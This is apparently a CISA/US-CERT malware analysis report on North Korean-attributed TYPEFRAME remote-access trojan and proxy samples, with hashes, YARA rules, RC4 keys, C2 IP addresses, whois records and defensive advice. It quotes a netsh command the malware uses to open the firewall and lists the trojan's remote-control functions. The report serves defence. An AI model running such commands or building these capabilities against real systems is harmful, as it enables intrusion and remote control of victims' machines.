<b>Zillya!</b>	Trojan.Generic.Win32.68467

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	rule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: \$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} \$s1 = {B6 DF 01 FD 48 B5 } \$s2 = {B6 D5 0E F3 4E B5 } \$s3 = {B7 DF 0E EE } \$s4 = {B6 DF 03 FC } \$s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
---------------------------------------	---

**ssdeep Matches**

No matches found.

**Relationships**

e088c3a0b0...	Contained_Within	c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777
---------------	------------------	--

**Description**

dwnhost.dll (original name: DLL64.dll) is a 64-bit Windows dynamic-link library (DLL) of "laxhost.dll" (a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6). This RAT module was installed as a service by the file "c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777".

The RAT's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--
```

When executed, the RAT loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

The decrypted data contains a hexadecimal encoded command and control IP address and port number:

```
--Begin IP and port # list--
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list--
```

The malware attempts to connect to its remote server IP 59.90.93.97 using port 443 and waits for instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

```
--Begin functions perform by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions perform by the malware--
```

**20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64**

**Tags**

remote-access-trojan trojan

**Details**

<b>Name</b>	EF9DB20AB0EEBF0B7C55AF4EC0B7BCED
<b>Size</b>	152064 bytes
<b>Type</b>	PE32+ executable (GUI) x86-64, for MS Windows
<b>MD5</b>	ef9db20ab0eebf0b7c55af4ec0b7bcd
<b>SHA1</b>	0202942d11c994cece943bb873f3af156d820f59
<b>SHA256</b>	20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
<b>SHA512</b>	85fa80079c59da83e3b2471eab0d2981c92b6c589cbe5052bf438831ae464e6499040ead68d6bc9929edd9f6c08ecc6abf2a0173e31bd361a
<b>ssdeep</b>	3072:qocqUTuIzXblpGxqSDBiiBmLEEdTIF3TIb9Qw/uAZyerrPabYIQ:qJqUnXKxqSAiBJyTC3TIb9QRL0IQ
<b>Entropy</b>	6.269643

**Antivirus**

<b>Antiy</b>	Trojan/WIN32.AGeneric
<b>Avira</b>	TR/AD.APTLazerus.ciszm
<b>BitDefender</b>	Trojan.GenericKD.31020049

<b>ClamAV</b>	Win.Trojan.Typeframe-6595037-1
<b>Cyren</b>	W64/Trojan.CWPJ-5887
<b>ESET</b>	a variant of Win64/NukeSped.L trojan
<b>Emsisoft</b>	Trojan.GenericKD.31020049 (B)
<b>Ikarus</b>	Trojan.Win64.Nukesped
<b>K7</b>	Trojan ( 00535d221 )
<b>McAfee</b>	Generic.dvq
<b>Microsoft Security Essentials</b>	Trojan:Win32/Autophyte.A!dha
<b>NANOAV</b>	Trojan.Win64.NukeSped.feqzil
<b>Sophos</b>	Troj/NukeSped-V
<b>Symantec</b>	Trojan Horse
<b>TrendMicro</b>	BKDR64_97ED50E7
<b>TrendMicro House Call</b>	BKDR64_97ED50E7
<b>VirusBlokAda</b>	Trojan.Autophyte
<b>Zillya!</b>	Trojan.NukeSped.Win64.21

**Yara Rules**

No matches found.

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2016-09-07 14:28:45-04:00
<b>Import Hash</b>	13c53cfa11bb74ea99fefdf29d78a9f9

**PE Sections**

MD5	Name	Raw Size	Entropy
2082ea5adc4b910e8673c04dc7d962d2	header	1024	2.623906
e6e5ce270a5e80221a815dbf739883a2	.text	111616	6.434048
3a7628ebb18c5e07cf37654fd431de6b	.rdata	26112	5.315772
52e12517ca5b2c29e9496bc3032f0d5d	.data	5632	2.052338
f9b37a6c76a99538605929f5bef6c2e2	.pdata	5632	5.165417
d5ecc406ee2be45ed510958b0d4f326a	.rsrc	512	5.112624
07b2edf2675fa88a86c977fec3ad03cd	.reloc	1536	2.826598

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 8.0 (DLL)

**Relationships**

20abb95114...	Connected_To	98.101.211.162
20abb95114...	Connected_To	81.0.213.173

**Description**

This file is a 64-bit Windows executable designed to connect to its remote server and wait for instructions. The malware's file APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin RC4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End RC4 key--
```

This file is a variant of a RAT that contains the following embedded hexadecimal-encoded C2 IP address and port number:

```
--Begin IP and port # list--
1BBh ==> 443
0A2D36562h ==> 98.101.211.162
0ADD50051h ==> 81.0.213.173
--End IP and port # list--
```

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed to accept instructions from the remote server to perform additional functions.

**201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33**

**Tags**

proxytrojan

**Details**

<b>Name</b>	1C53E7269FE9D84C6DF0A25BA59B822C
<b>Size</b>	126976 bytes
<b>Type</b>	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
<b>MD5</b>	1c53e7269fe9d84c6df0a25ba59b822c
<b>SHA1</b>	b775d753671133cbc4919764d2fac0d298166b07
<b>SHA256</b>	201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33
<b>SHA512</b>	3d3883b9b29e264d023b7034d980b7c206c9fc82010bf7f5f1dc454fdbd316830fe69e90579406a74afc1fca8e266d10c1b46784bd661dcb2
<b>ssdeep</b>	1536:EaMa/KVyD4hv6LLETuA1x+sh2iE1s44tz4qoWYUwnZ7hUOC2:G8YPZ6LLqQFX4tz4quxY
<b>Entropy</b>	6.024087

**Antivirus**

<b>Ahnlab</b>	Win-Trojan/Hwdoor.Gen
<b>Antiy</b>	Trojan/Win32.AGeneric
<b>Avira</b>	TR/AD.APTLazerus.itpsz
<b>BitDefender</b>	Gen:Variant.Ursu.239474
<b>ClamAV</b>	Win.Trojan.Typeframe-6595035-1
<b>Cyren</b>	W32/Trojan.OYWW-7040
<b>ESET</b>	a variant of Win32/NukeSped.AK trojan
<b>Emsisoft</b>	Gen:Variant.Ursu.239474 (B)
<b>Ikarus</b>	Trojan.Win32.NukeSped
<b>K7</b>	Trojan ( 0051c2fd1 )
<b>Microsoft Security Essentials</b>	Trojan:Win32/Autophyte.B!dha
<b>NANOAV</b>	Trojan.Win32.NukeSped.felyfu

<b>Sophos</b>	Troj/Cruprox-B
<b>Symantec</b>	Trojan Horse
<b>TrendMicro</b>	TROJ_PROXSPED.A
<b>TrendMicro House Call</b>	TROJ_PROXSPED.A
<b>VirusBlokAda</b>	Trojan.Autophyte

**Yara Rules**

<b>hidden_cobra_consolidated.yara</b>	rule import_deob { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" md5 = "ae769e62fef4a1709c12c9046301aa5d" md5 = "e48fe20eb1f5a5887f2ac631fed9ed63" strings: \$ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8} \$ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6} condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
---------------------------------------	---

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2015-07-08 22:50:54-04:00
<b>Import Hash</b>	21ccd1b1341683d8831663fc3ed8f86d

**PE Sections**

MD5	Name	Raw Size	Entropy
f066de8df54d4f92795472d981374309	header	4096	0.736742
f066de8df54d4f92795472d981374309	header	4096	0.736742
e321dba33ae4db3b9e29aa6072b92e77	.text	57344	6.464385
e321dba33ae4db3b9e29aa6072b92e77	.text	57344	6.464385
a256d5f52608331df8545a9d38751462	.rdata	8192	3.628560
a256d5f52608331df8545a9d38751462	.rdata	8192	3.628560
1d905ad87919346eb6c8463f61b599e8	.data	16384	1.547483
1d905ad87919346eb6c8463f61b599e8	.data	16384	1.547483
afdf2120655e37010482a536d552199e	.rsrc	32768	7.100033
afdf2120655e37010482a536d552199e	.rsrc	32768	7.100033
bbeec3983cc5b2094f8311718d327480	.reloc	8192	3.234713
bbeec3983cc5b2094f8311718d327480	.reloc	8192	3.234713

**Packers/Compilers/Cryptors**

Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)

**Description**

This file (original name: Proxy\_SVC\_DLL.dll) is a proxy module installed as a service. The proxy installer that installs this module was not available for analysis.

This file is designed to open the Windows Firewall on the victim's machine to allow incoming connections and force the compromised system to function as a proxy server. The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

```
--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--
```

When executed, the proxy installer will attempt to load and decrypt the encrypted configuration file data from the registry using the RC4 key.

```
--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--
```

Analysis indicates that the decrypted configuration data contains port numbers. The malware utilized the following command to open the Windows Firewall on the victim's machine to allow incoming connections:

```
--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=<decrypted port number>
action=allow enable=yes"
--End firewall modification--
```

The malware attempts to open the predefined port and waits for connection. The malware contains public SSL certificates in its resource name "101". It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

**98.101.211.162**

**Ports**

- 443 TCP

**Whois**

NetRange: 98.100.0.0 - 98.103.255.255  
 CIDR: 98.100.0.0/14  
 NetName: RCMS  
 NetHandle: NET-98-100-0-0-1  
 Parent: NET98 (NET-98-0-0-0-0)  
 NetType: Direct Allocation  
 OriginAS:  
 Organization: Time Warner Cable Internet LLC (RCMS)  
 RegDate: 2008-03-17  
 Updated: 2009-05-05  
 Ref: <https://whois.arin.net/rest/net/NET-98-100-0-0-1>

OrgName: Time Warner Cable Internet LLC  
 OrgId: RCMS  
 Address: 6399 S Fiddlers Green Circle  
 City: Greenwood Village  
 StateProv: CO  
 PostalCode: 80111  
 Country: US  
 RegDate: 2001-09-25  
 Updated: 2018-03-07  
 Comment: Allocations for this OrgID serve Road Runner commercial customers out of the Columbus, OH, Herndon, VA and Raleigh, NC RDCs.  
 Ref: <https://whois.arin.net/rest/org/RCMS>

**Relationships**

98.101.211.162	Connected_From	20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
----------------	----------------	--

**81.0.213.173**

**Ports**

- 443 TCP

**Whois**

inetnum: 81.0.213.168 - 81.0.213.175  
netname: CmsConsulting-CZ  
descr: CMS Consulting s.r.o.  
country: CZ  
admin-c: CASA3-RIPE  
tech-c: CASA3-RIPE  
status: ASSIGNED PA  
mnt-by: CASABLANCA-RIPE-MNT  
created: 2009-10-09T07:31:35Z  
last-modified: 2009-10-09T07:31:35Z  
source: RIPE

role: Casablanca INT RIPE manager  
address: Casablanca INT  
address: Vinohradská 184, Prague 3 - 130 52  
address: Czech republic  
phone: +420 270 000 270  
fax-no: +420 270 000 277  
e-mail: hostmaster@casablanca.cz  
abuse-mailbox: abuse@casablanca.cz  
admin-c: JH1771-RIPE  
tech-c: JH1771-RIPE  
notify: hostmaster@casablanca.cz  
nic-hdl: CASA3-RIPE  
created: 2005-09-05T10:42:10Z  
last-modified: 2015-07-03T11:19:49Z  
source: RIPE  
mnt-by: CASABLANCA-CORE-MNT

% Information related to '81.0.213.0/24AS15685'

route: 81.0.213.0/24  
descr: Casablanca INT prefix fraction  
origin: AS15685  
mnt-by: CASABLANCA-CORE-MNT  
created: 2017-06-30T09:41:16Z  
last-modified: 2017-06-30T09:41:16Z  
source: RIPE

**Relationships**

81.0.213.173	Connected_From	20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
--------------	----------------	--

**184.107.209.2**

**Ports**

- 443 TCP

**Whois**

Domain Name: TVDAJIWORLD.COM  
Registry Domain ID: 632237350\_DOMAIN\_COM-VRSN  
Registrar WHOIS Server: whois.godaddy.com  
Registrar URL: http://www.godaddy.com  
Updated Date: 2017-10-16T06:44:25Z

Creation Date: 2006-10-14T19:18:50Z  
 Registrar Registration Expiration Date: 2018-10-14T19:18:50Z  
 Registrar: GoDaddy.com, LLC  
 Registrar IANA ID: 146  
 Registrar Abuse Contact Email: abuse@godaddy.com  
 Registrar Abuse Contact Phone: +1.4806242505  
 Domain Status: clientTransferProhibited <http://www.icann.org/epp#clientTransferProhibited>  
 Domain Status: clientUpdateProhibited <http://www.icann.org/epp#clientUpdateProhibited>  
 Domain Status: clientRenewProhibited <http://www.icann.org/epp#clientRenewProhibited>  
 Domain Status: clientDeleteProhibited <http://www.icann.org/epp#clientDeleteProhibited>  
 Registry Registrant ID: Not Available From Registry  
 Registrant Name: \*\*\*\*\* (see Notes section below on how to view unmasked data)  
 Registrant Organization: Konkandaiz  
 Registrant Street: Post Box 53608  
 Registrant Street: Dubai  
 Registrant City: Dubai  
 Registrant State/Province: Not Applicable  
 Registrant Postal Code: 04  
 Registrant Country: AE  
 Registrant Phone: \*\*\*\*\*  
 Registrant Phone Ext:  
 Registrant Fax: 1111111111  
 Registrant Fax Ext:  
 Registrant Email: \*\*\*\*\*@\*\*\*\*\*.\*\*\*  
 Registry Admin ID: Not Available From Registry  
 Admin Name: \*\*\*\*\* (see Notes section below on how to view unmasked data)  
 Admin Organization: Konkandaiz  
 Admin Street: Post Box 53608  
 Admin Street: Dubai  
 Admin City: Dubai  
 Admin State/Province: Not Applicable  
 Admin Postal Code: 04  
 Admin Country: AE  
 Admin Phone: \*\*\*\*\*  
 Admin Phone Ext:  
 Admin Fax: 1111111111  
 Admin Fax Ext:  
 Admin Email: \*\*\*\*\*@\*\*\*\*\*.\*\*\*  
 Registry Tech ID: Not Available From Registry  
 Tech Name: \*\*\*\*\* (see Notes section below on how to view unmasked data)  
 Tech Organization: Konkandaiz  
 Tech Street: Post Box 53608  
 Tech Street: Dubai  
 Tech City: Dubai  
 Tech State/Province: Not Applicable  
 Tech Postal Code: 04  
 Tech Country: AE  
 Tech Phone: \*\*\*\*\*  
 Tech Phone Ext:  
 Tech Fax: 1111111111  
 Tech Fax Ext:  
 Tech Email: \*\*\*\*\*@\*\*\*\*\*.\*\*\*  
 Name Server: MY.PRIVATEDNS.COM  
 Name Server: YOUR.PRIVATEDNS.COM  
 DNSSEC: unsigned

**Relationships**

184.107.209.2	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
---------------	----------------	--

**111.207.78.204**

**Ports**

- 443 TCP

**Whois**

```
inetnum: 111.192.0.0 - 111.207.255.255
netname: UNICOM-BJ
descr: China Unicom Beijing province network
descr: China Unicom
country: CN
admin-c: CH1302-AP
tech-c: SY21-AP
remarks: service provider
mnt-by: APNIC-HM
mnt-lower: MAINT-CNCGROUP
mnt-lower: MAINT-CNCGROUP-BJ
mnt-routes: MAINT-CNCGROUP-RR
status: ALLOCATED PORTABLE
mnt-irt: IRT-CU-CN
last-modified: 2016-05-04T00:18:25Z
irt: IRT-CU-CN
address: No.21,Financial Street
address: Beijing,100033
address: P.R.China
e-mail: hqs-ipabuse@chinaunicom.cn
abuse-mailbox: hqs-ipabuse@chinaunicom.cn
admin-c: CH1302-AP
tech-c: CH1302-AP
auth: # Filtered
mnt-by: MAINT-CNCGROUP
last-modified: 2017-10-23T05:59:13Z
person: ChinaUnicom Hostmaster
nic-hdl: CH1302-AP
e-mail: hqs-ipabuse@chinaunicom.cn
address: No.21,Jin-Rong Street
address: Beijing,100033
address: P.R.China
phone: +86-10-66259764
fax-no: +86-10-66259764
country: CN
mnt-by: MAINT-CNCGROUP
last-modified: 2017-08-17T06:13:16Z
person: sun ying
address: fu xing men nei da jie 97, Xicheng District
address: Beijing 100800
country: CN
phone: +86-10-66030657
fax-no: +86-10-66078815
e-mail: hostmast@publicf.bta.net.cn
nic-hdl: SY21-AP
mnt-by: MAINT-CNCGROUP-BJ
last-modified: 2009-06-30T08:42:48Z
source: APNIC
```

**Relationships**

111.207.78.204	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
----------------	----------------	--

**80.91.118.45**

**Ports**

- 443 TCP

**Whois**

```
inetnum: 80.91.118.0 - 80.91.119.255
netname: Abissnet
descr: Business Customers
country: AL
admin-c: AB34506-RIPE
tech-c: AB34506-RIPE
status: ASSIGNED PA
mnt-by: AS35047-MNT
created: 2014-10-24T10:09:33Z
last-modified: 2016-06-09T09:47:15Z
source: RIPE
role: Abissnet BBone
address: Rr. Ismail Qemali, P. Abissnet
e-mail: bbone@abissnet.al
abuse-mailbox: bbone@abissnet.al
nic-hdl: AB34506-RIPE
mnt-by: AS35047-MNT
created: 2016-06-09T08:09:15Z
last-modified: 2016-06-09T08:41:05Z
source: RIPE
```

% Information related to '80.91.118.0/24AS35047'

```
route: 80.91.118.0/24
descr: Abissnet ISP
origin: AS35047
mnt-by: AS35047-MNT
created: 2011-02-27T10:24:58Z
last-modified: 2011-02-27T10:24:58Z
source: RIPE
```

**Relationships**

80.91.118.45	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
--------------	----------------	--

**181.119.19.56**

**Ports**

- 443 TCP

**Whois**

```
NetRange: 181.0.0.0 - 181.255.255.255
CIDR: 181.0.0.0/8
NetName: LACNIC-181
NetHandle: NET-181-0-0-0
Parent: ()
NetType: Allocated to LACNIC
OriginAS:
Organization: Latin American and Caribbean IP address Regional Registry (LACNIC)
RegDate: 1993-04-30
Updated: 2010-07-21
Comment: This IP address range is under LACNIC responsibility
Comment: for further allocations to users in LACNIC region.
Comment: Please see http://www.lacnic.net/ for further details,
Comment: or check the WHOIS server located at http://whois.lacnic.net
Ref: https://whois.arin.net/rest/net/NET-181-0-0-0
OrgName: Latin American and Caribbean IP address Regional Registry
```

OrgId: LACNIC  
 Address: Rambla Republica de Mexico 6125  
 City: Montevideo  
 StateProv:  
 PostalCode: 11400  
 Country: UY  
 RegDate: 2002-07-26  
 Updated: 2018-03-15  
 Ref: https://whois.arin.net/rest/org/LACNIC

**Relationships**

181.119.19.56	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
---------------	----------------	--

**59.90.93.97**

**Ports**

- 443 TCP

**Whois**

inetnum: 59.90.64.0 - 59.90.127.255  
 netname: BB-Multiplay  
 descr: O/o DGM BB, NOC BSNL Bangalore  
 country: IN  
 admin-c: BH155-AP  
 tech-c: DB374-AP  
 status: ASSIGNED NON-PORTABLE  
 mnt-by: MAINT-IN-DOT  
 mnt-irt: IRT-BSNL-IN  
 last-modified: 2011-02-18T09:27:20Z  
 source: APNIC

irt: IRT-BSNL-IN  
 address: Internet Cell  
 address: Bharat Sanchar Nigam Limited  
 address: 8th Floor,148-B Statesman House  
 address: Barakhamba Road, New Delhi - 110 001  
 e-mail: abuse@bsnl.in  
 abuse-mailbox: abuse@bsnl.in  
 admin-c: NC83-AP  
 tech-c: CGMD1-AP  
 auth: # Filtered  
 mnt-by: MAINT-IN-DOT  
 last-modified: 2017-10-20T05:42:50Z  
 source: APNIC

person: BSNL Hostmaster  
 nic-hdl: BH155-AP  
 e-mail: hostmaster@bsnl.in  
 address: Broadband Networks  
 address: Bharat Sanchar Nigam Limited  
 address: 2nd Floor, Telephone Exchange, Sector 62  
 address: Noida  
 phone: +91-120-2404243  
 fax-no: +91-120-2404241  
 country: IN  
 mnt-by: MAINT-IN-PER-DOT  
 last-modified: 2015-11-12T06:00:14Z  
 person: DGM Broadband  
 address: BSNL NOC Bangalore  
 country: IN

phone: +91-080-25805800  
 fax-no: +91-080-25800022  
 e-mail: dnwplg@bsnl.in  
 nic-hdl: DB374-AP  
 mnt-by: MAINT-IN-PER-DOT  
 last-modified: 2011-02-19T10:03:44Z  
 source: APNIC

% Information related to '59.90.80.0/20AS9829'

route: 59.90.80.0/20  
 descr: BSNL Internet  
 country: IN  
 origin: AS9829  
 mnt-lower: MAINT-IN-DOT  
 mnt-routes: MAINT-IN-DOT  
 mnt-by: MAINT-IN-AS9829  
 last-modified: 2008-09-04T07:54:47Z  
 source: APNIC

**Relationships**

59.90.93.97	Connected_From	a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
-------------	----------------	--

**Relationship Summary**

8c3e0204f5...	Contains	a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
a71017302e...	Connected_To	59.90.93.97
a71017302e...	Contained_Within	8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cadc8f8
675a35e04b...	Contains	e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7
e69d6c2d3e...	Contained_Within	675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1
d1d490866d...	Contains	40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116
40ef57ca2a...	Contained_Within	d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92
546dbd370a...	Contains	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
3c809a1010...	Contained_Within	546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6cd5d874e1
3c809a1010...	Connected_To	184.107.209.2
3c809a1010...	Connected_To	111.207.78.204
3c809a1010...	Connected_To	80.91.118.45
3c809a1010...	Connected_To	181.119.19.56
c9e3b83d77...	Contains	e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef
e088c3a0b0...	Contained_Within	c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777
20abb95114...	Connected_To	98.101.211.162
20abb95114...	Connected_To	81.0.213.173
98.101.211.162	Connected_From	20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
81.0.213.173	Connected_From	20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
184.107.209.2	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
111.207.78.204	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
80.91.118.45	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
181.119.19.56	Connected_From	3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

59.90.93.97	Connected_From	a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
-------------	----------------	--

## Recommendations

CISA would like to remind users and administrators to consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate ACLs.

Additional information on malware incident prevention and handling can be found in NIST's Special Publication 800-83, **Guide to Malware Incident Prevention & Handling for Desktops and Laptops**.

## Contact Information

### Document FAQ

**What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

**What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

**Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-844-Say-CISA or [contact@mail.cisa.dhs.gov](mailto:contact@mail.cisa.dhs.gov).

**Can I submit malware to CISA?** Malware samples can be submitted via three methods:

- Web: <https://malware.us-cert.gov>
- E-Mail: [submit@malware.us-cert.gov](mailto:submit@malware.us-cert.gov)
- FTP: <ftp://malware.us-cert.gov> (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at [www.us-cert.gov](http://www.us-cert.gov).

---

Source: <https://www.us-cert.gov/ncas/analysis-reports/AR18-165A>